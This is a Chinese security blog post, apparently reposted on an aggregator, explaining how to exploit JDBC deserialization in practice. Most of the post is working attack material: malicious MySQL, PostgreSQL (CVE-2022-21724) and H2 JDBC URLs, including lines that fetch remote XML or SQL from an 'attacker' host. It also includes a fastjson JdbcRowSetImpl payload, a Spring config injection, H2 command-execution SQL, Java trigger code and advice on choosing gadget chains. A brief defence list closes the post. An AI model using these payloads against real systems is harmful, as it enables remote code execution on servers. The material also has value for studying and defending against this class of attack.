JDBC反序列化如何在实战中进行决策以及利用"

admin 2026-10-17 06:55:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

JDBC反序列化如何在实战中进行决策以及利用

原创

苦艾印图
苦艾印图

苦艾印图

2026年8月25日 11:15
青海

在小说阅读器读本章

去阅读

1. 利用场景总览

1.1 什么时候用(攻击场景定位)

JDBC 反序列化的核心前置条件是:攻击者能控制传给 DriverManager.getConnection() / DataSource 的 JDBC URL(connection string)。出现这种情况的典型入口:

入口 说明
fastjson autoType 最经典。@type 指定 JdbcRowSetImpl,dataSourceName 可控即等于 JDBC URL 可控
配置注入 application.yml 、Druid/Nacos 配置、SnakeYAML、Spring Boot 配置解析点被控制
框架自带 JDBC URL 参数透传 一些工具/框架允许用户填\"数据库连接\"字段,未过滤

1.2 其他数据源可被控制的场景

类别 场景
反序列化入口 fastjson JdbcRowSetImpl(最经典)、Jackson polymorphic、XStream/hessian/kryo(dataSourceName 可控)
配置注入 Spring application.yml/application.properties、Spring Cloud Config / Nacos / Apollo、Druid connection-properties、SnakeYAML、SpEL/EL
框架透传 Spring Boot DataSource、MyBatis/MyBatis-Plus 动态数据源、ShardingSphere dataSource.url、HikariCP/Druid jdbcUrl、JDBC URL 参数 & 注入
其他驱动 H2 Console(8082)、PostgreSQL socketFactory/sslfactory

2. 攻击链

2.1 完整结构

┌────────── 第一段:JDBC 反序列化(投递通道)──────────┐│  URL 参数 → 驱动反序列化 readObject() → 读出字节对象  │└────────── 第二段:gadget 链(真正的炸药)────────────┘   readObject() 读出的对象 → 触发 gadget 链(CC/CB/URLDNS...)   → Runtime.exec() / JNDI / DNS 探测 → RCE

第一段是\"通道\",第二段才是\"炸药\"。JDBC 反序列化只保证\"有字节被 readObject()\",能否变成 RCE 全看第二段的 gadget 链 + JDK/classpath 环境。

完整攻击条件叠加:

① URL 可控(数据源配置被控 / 参数注入)② 驱动版本匹配(MySQL 5.1.x 或 8.0.x 参数对 / PG 见 2.2.4 节版本差异)③ 恶意 server 返回 AC ED 00 05 BLOB payload④ classpath 有可用的 gadget 链(CC3.x / CB / 纯 JDK)⑤ JDK 版本不影响 JNDI 链(≥8u191 时 JNDI 失效,靠本地 gadget)⑥ 命令能执行且能被观察到(出网/回显)

缺一个,链路就断。

2.2 数据源配置

MySQL  —— interceptor 触发链路

// 5.1.x 写法:statementInterceptorsjdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
// 8.0.x 写法:queryInterceptors(包名/接口全变)jdbc:mysql://attacker:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
连接建立 → 执行任意 SQL(驱动初始化自带 SELECT @@session...)  → preProcess(): 先 SHOW SESSION STATUS 存 preExecuteValues  → SQL 执行  → postProcess(): 再 SHOW SESSION STATUS 存 postExecuteValues  → 逐行 rs.getObject(2) 拿第二列(Variable_value)      → 值以 AC ED 00 05 开头 且 autoDeserialize=true      → ObjectInputStream.readObject()  ← 反序列化点

源码依据:

  • 5.1.47 ServerStatusDiffInterceptor.postProcess → Util.resultSetToMap → rs.getObject(2)
  • 8.0.13 ResultSetImpl.getObject() 反序列化分支(BLOB/VARBINARY 类型):

case BINARY: case VARBINARY: case TINYBLOB: case MEDIUMBLOB: case LONGBLOB: case BLOB:    if (field.isBinary() || field.isBlob()) {        if (autoDeserialize) {            if (data[0]==0xAC && data[1]==0xED) {   // 魔数检测                ObjectInputStream objIn = new ObjectInputStream(...);                objIn.readObject();                  // ← 反序列化点

MySQL JDBC

驱动版本 interceptor 类名 URL 参数名 反序列化落点
5.1.x com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor statementInterceptors getObjectDeserializingIfNeeded (对 VARCHAR 也反序列化)
8.0.0~8.0.32 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor queryInterceptors ResultSetImpl switch 里 VARCHAR 走 getString,只有 BLOB 才反序列化
8.0.33 类仍存在(src/main/user-impl) queryInterceptors 同 8.0.x,需显式配置 + BLOB 列
  • MySQL 服务端版本完全无关

:驱动只读握手包里的版本字符串,恶意 server 声明 5.7.16 即可绕过 versionMeetsMinimum(5,0,2)(5.1.47 MysqlIO.java:1054)。
* 服务端返回格式是硬条件

:SHOW SESSION STATUS 第二列必须声明为 BLOB/VARBINARY(field.isBinary()||isBlob() 为 true),payload 字节以 AC ED 开头;若声明为 VARCHAR → 驱动 getString() 直接返回,不反序列化

依赖:

        <!-- 仅用于演示\"数据源配置里的 JDBC URL 写法\",             目标驱动版本决定了 URL 里的参数名(statementInterceptors vs queryInterceptors) -->        <dependency>            <groupId>mysql</groupId>            mysql-connector-java</artifactId>            <version>8.0.19</version>        </dependency>        <dependency>            <groupId>commons-collections</groupId>            commons-collections</artifactId>            <version>3.2.1</version>        </dependency>

测试:

import java.sql.*;public class Main {    public static void main(String[] args) throws Exception {        String url = \"jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc\";        try {            Class.forName(\"com.mysql.jdbc.Driver\");            DriverManager.getConnection(url);        } catch (Exception e) {            e.printStackTrace();        }    }}

payload:

jdbc:mysql://127.0.0.1:12821/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc

利用工具-fake-mysql-gui-0.0.4.jar

PostgreSQL JDBC(CVE-2022-21724)

*触发链(本地复现代码实际走的这条)*

恶意 JDBC URL:  jdbc:postgresql://127.0.0.1:34432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://attacker/poc.xml        │        ▼DriverManager.getConnection(url)  → SocketFactoryFactory.getSocketFactory(Properties)      # 读取 socketFactory / socketFactoryArg  → ObjectFactory.instantiate(classname, info, tryString=true, stringarg=socketFactoryArg)      → Class.forName(\"org.springframework.context.support.ClassPathXmlApplicationContext\")      → 构造器三选一: (Properties) → (String) → 无参       # 找到 (String) 构造器      → ctor.newInstance(\"http://attacker/poc.xml\")       # 执行构造函数          → ClassPathXmlApplicationContext(String) 内部加载远程 XML              → XML 里 <bean> 定义(如 ProcessBuilder + init-method) 被 Spring 解析              → 触发命令执行 → RCE ✅

其他注意:

  • classpath 必须有 spring-context

(ClassPathXmlApplicationContext);
* 参数名大小写敏感(socketFactory/socketFactoryArg);
* 实例化发生在连接建立阶段(ConnectionFactoryImpl.tryConnect),不需要真正连上 PG 服务端(恶意 XML 是否可达即可)。

依赖:

        <!-- PostgreSQL JDBC 驱动(连接测试用) -->        <dependency>            <groupId>org.postgresql</groupId>            postgresql</artifactId>            <version>42.2.24</version>        </dependency>        <!-- spring-context:ClassPathXmlApplicationContext 所在库(CVE-2022-21724 的 RCE 载体) -->        <dependency>            <groupId>org.springframework</groupId>            spring-context</artifactId>            <version>5.3.20</version>        </dependency>

测试:

public class PostgresDataSourceDemo {
    /**     * 恶意 JDBC URL —— 模拟攻击者在数据源配置里填的值。     * socketFactoryArg 需指向攻击者托管的 poc.xml     */    private static final String MALICIOUS_URL =            \"jdbc:postgresql://127.0.0.1:18851/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:18851/pSCenFFo.xml\";
    public static void main(String[] args) throws Exception {        System.out.println(\"[*] 模拟攻击者控制数据源配置 -> 触发 PostgreSQL 连接\");
        String url = (args.length > 0 && !args[0].isEmpty()) ? args[0] : MALICIOUS_URL;        System.out.println(\"[*] 填入恶意 dataSourceName:\");        System.out.println(\"    \" + url);
        try {            Class.forName(\"org.postgresql.Driver\");            DriverManager.getConnection(url);            System.out.println(\"[!] 连接成功\");        } catch (Exception e) {            System.out.println(\"[!] 连接异常(预期内:未托管远程 XML / 无 spring-context / 无 PG server):\");            e.printStackTrace();        }    }}

H2

H2 是纯 Java 嵌入式关系型数据库(内存/文件模式,jdbc:h2:mem:test),SQL 图灵完备。三类利用:

-- ① CREATE ALIAS 直接执行(代码执行,非反序列化)CREATE ALIAS IF NOT EXISTS SHELLEXEC AS'String shellexec(String cmd) throws java.io.IOException { java.lang.Runtime.getRuntime().exec(cmd); return \"\"; }';CALL SHELLEXEC('calc');
-- ② INIT=RUNSCRIPT 远程脚本jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker/poc.sql'
维度 MySQL/PG H2
本质 反序列化(驱动 readObject) 代码执行(ALIAS)/ JNDI
触发前提 URL 可控 + 恶意 server URL 可控 + 能提交 SQL,或 H2 Console 开放
常见入口 fastjson JdbcRowSetImpl、Druid H2 Console(8082)、Spring 配置注入

2.3 攻击动作

恶意 MySQL server(Python 骨架)

协议 4 要点(对应源码):

  1. 握手版本 ≥ 5.0.2(versionMeetsMinimum(5,0,2) 硬门槛,写 5.7.16);
  2. 连接后驱动自带初始化查询会触发 interceptor(SELECT @@session.auto_increment_increment);
  3. 响应 SHOW SESSION STATUS 时第二列 Variable_value 必须声明 BLOB/VARBINARY;
  4. 行数据里放 ysoserial 字节(AC ED 00 05 开头)。

投递 payload

fastjson 版:

{  \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",  \"dataSourceName\": \"jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",  \"autoCommit\": true}

Spring 配置版:

spring:  datasource:    driver-class-name: com.mysql.jdbc.Driver    url: jdbc:mysql://attacker:3306/db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

纯 JDBC 客户端(本地复现用,模拟 数据源配置):

String url = \"jdbc:mysql://127.0.0.1:61071/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc\";Class.forName(\"com.mysql.jdbc.Driver\");DriverManager.getConnection(url);

3. 与 JDK / gadget 链关系

3.1 为什么\"JDK 版本挂钩\" —— 三个层面

  1. gadget 链依赖 JDK 内部类

:CC/CB 中转依赖第三方库,但终点往往要 JDK 的 Runtime 等;纯 JDK 链(URLDNS)只靠 JDK 内置类,也受 JDK 版本影响(类增删/行为变化)。
2. JDK 9+ / 8u191+ 引入 ObjectInputFilter

:可设反序列化黑白名单(默认不启用,需显式 setObjectInputFilter)。
3. JNDI 注入受 JDK 版本严格限制

(最直接体现):

JDK 版本 JNDI 注入能力
< 8u191 / < 7u201 / < 6u211 远程加载 class(LDAP/RMI 返回远程恶意类)→ RCE
≥ 8u191 / ≥ 7u201 / ≥ 6u211 远程加载 class 被禁用(com.sun.jndi.ldap.object.trustURLCodebase=false)→ 只能靠\"返回反序列化对象 + 本地 gadget\"

3.2 常见 gadget 链选择(取决于目标 classpath)

Gadget 链 需要的库 触发终点 备注
CC1 commons-collections 3.x InvokerTransformer → Runtime.exec 经典
CC6 commons-collections 3.x LazyMap + InvokerTransformer 最常用(稳定)
CC4 commons-collections 4.x TiedMapEntry + InvokerTransformer 4.x 专属
CB1 commons-beanutils + commons-collections 3.1+ BeanComparator → Runtime.exec 很多框架自带 CB
URLDNS 纯 JDK java.net.URL.hashCode → DNS 探测 无第三方依赖,只能探测不能直接 RCE
JNDI 纯 JDK InitialContext.lookup → 远程类/反序列化 受 JDK 版本限制

实战判断:

  • 目标 classpath 有 commons-collections 3.x → CC6;
  • 有 commons-beanutils(Spring 全家桶基本都有)→ CB1;
  • 纯 JDK 环境(无第三方库)→ 只能 URLDNS(探测) 或 JNDI(受版本限制);
  • 反序列化时 readObject() 遇到 gadget 类不在 classpath → ClassNotFoundException(链路断)。

4. 防御建议

  1. URL 参数白名单

:封装 JDBC 连接层,禁止用户参数覆盖 autoDeserialize、queryInterceptors、statementInterceptors、socketFactory、sslfactory、detectCustomCollations 等危险项。
2. fastjson

:升级 ≥ 1.2.83(或换 fastjson2),默认关 autoType,绝不全局开启 autoTypeSupport。
3. 数据库端口出网管控

:限制 DB 端口到外部的连接(削弱\"恶意 server\"前提)。
4. JDK 升级 ≥ 8u191

并移除本地可用的危险 gadget 库(commons-collections 等)。


JDBC反序列化如何在实战中进行决策以及利用" 网络安全文章

JDBC反序列化如何在实战中进行决策以及利用"

本文详细分析了JDBC反序列化在实战中的利用场景与攻击链。核心前置条件是攻击者能控制JDBCURL,常见入口包括fastjsonautoType、配置注入及框架参数透传。攻击分为两段:第一段通过驱动反序列化投递payload,第二段依赖gadget链实现RCE。文章具体介绍了MySQL和PostgreSQL驱动的利用方法,包括版本差异、参数配置及触发逻辑,并提供了测试代码示例。
OWASP发布AI技能十大风险,企业该怎样管住Skill" 网络安全文章

OWASP发布AI技能十大风险,企业该怎样管住Skill"

OWASP发布智能体技能十大安全风险白皮书,指出AI技能混合自然语言与代码并具备真实权限,已成需独立治理的供应链对象。风险涵盖恶意技能、权限越界及更新漂移。企业应建五道底线:构建统一目录与内部准入,实施Skill级最小权限与隔离,将更新视为重审,具备快速撤销能力,将其纳入常规代码治理流程。
Zero-Day配置:TP-LinkZTP信任链上的13个CVE" 网络安全文章

Zero-Day配置:TP-LinkZTP信任链上的13个CVE"

Forescout团队在BlackHatUSA2026披露TP-LinkOmadaZTP信任链的13个CVE,涉及硬编码密钥、弱凭据、证书复用、客户端劫持、存储型XSS和CORS绕过。攻击者可冒充控制器或客户端,获取全网配置。建议用户启用MFA、更换默认密码、及时更新固件。
评论:0   参与:  0